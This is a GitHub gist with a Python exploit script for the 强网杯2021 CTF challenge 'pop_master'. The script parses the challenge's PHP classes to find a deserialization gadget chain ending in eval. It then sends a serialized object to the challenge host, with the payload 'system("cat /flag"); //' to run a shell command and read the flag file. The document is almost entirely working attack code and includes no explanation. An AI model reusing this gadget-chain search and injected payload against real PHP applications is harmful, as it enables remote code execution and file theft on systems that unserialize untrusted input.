Skip to content

Instantly share code, notes, and snippets.

@frankli0324
Last active June 24, 2021 09:09
Show Gist options
  • Save frankli0324/0a9de91a57d5230a213d2df725b51143 to your computer and use it in GitHub Desktop.
Save frankli0324/0a9de91a57d5230a213d2df725b51143 to your computer and use it in GitHub Desktop.
强网杯2021 pop_master exploit
from phpserialize import serialize
from requests import session
from phply import phplex
from phply.phpast import *
from phply.phpparse import make_parser
ses = session()
classes = {}
func2class = {}
parser = make_parser()
good_paths = []
with open('class.php') as file:
lexer = phplex.lexer.clone()
ast = parser.parse(file.read(), lexer=lexer)
for cls in ast:
for i in cls.nodes:
if type(i) is Method:
func2class[i.name] = cls.name
classes[cls.name] = cls
def is_good_assign(ctx_param, node: Assignment):
assert type(node) == Assignment
if ctx_param.name == node.node.name:
if type(node.expr) == BinaryOp:
if node.expr.op == '.':
if node.expr.left.name == ctx_param.name:
return True
else:
return False
else:
print(node)
# unexpected
elif type(node.expr) == Variable:
if node.expr.name == ctx_param.name:
return True
return False
return False
return True
def handle_if(ctx_param, node: If):
assert type(node) == If
if type(node.expr) is BinaryOp:
# debug
if eval(str(node.expr.left)+node.expr.op+str(node.expr.right)):
for n in node.node.nodes:
if type(n) is Assignment and not is_good_assign(ctx_param, n):
return False
elif type(node.expr) is FunctionCall:
if node.expr.name == 'method_exists':
func = node.expr.params[1].node
assert(type(func) == str)
search(classes[func2class[func]],
node.expr.params[0].node.name, func)
else:
print('unexpected call')
else:
print('unexpected expr')
return True
def handle_method(ctx, method):
ctx.param = method.params[0]
for i in method.nodes:
if type(i) is For:
for n in i.node.nodes:
if type(n) is Assignment and not is_good_assign(method.params[0], n):
return False
elif type(i) is If:
if not handle_if(method.params[0], i):
return False
elif type(i) is MethodCall:
search(classes[func2class[i.name]], i.node.name, i.name)
elif type(i) is Assignment:
if not is_good_assign(method.params[0], i):
return False
elif type(i) is Eval:
return True
def search(node, attr, method, path=[]):
path.append((node, attr, method))
for i in node.nodes:
if type(i) is Method and i.name == method:
ctx = type('', (object,), {})()
if handle_method(ctx, i):
good_paths.append(list(path))
path.pop()
good_paths = []
search(classes['dLEWX3'], '', 'L8IHXt')
print(len(good_paths))
for n, a, m in good_paths[0]:
print(n.name, a, m)
def prop_call(parent, attr, cls):
setattr(parent, attr, type(cls, (object,), {})())
return getattr(parent, attr)
root = type('dLEWX3', (object,), {})()
node = root
path = good_paths[0]
for i in range(1, len(path)):
node = prop_call(node, path[i][1], path[i][0].name)
print(serialize(root))
print(ses.get('http://my_instance.cloudeci1.ichunqiu.com/', params={
'pop': serialize(root),
'argv': 'system("cat /flag"); //',
}).text)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment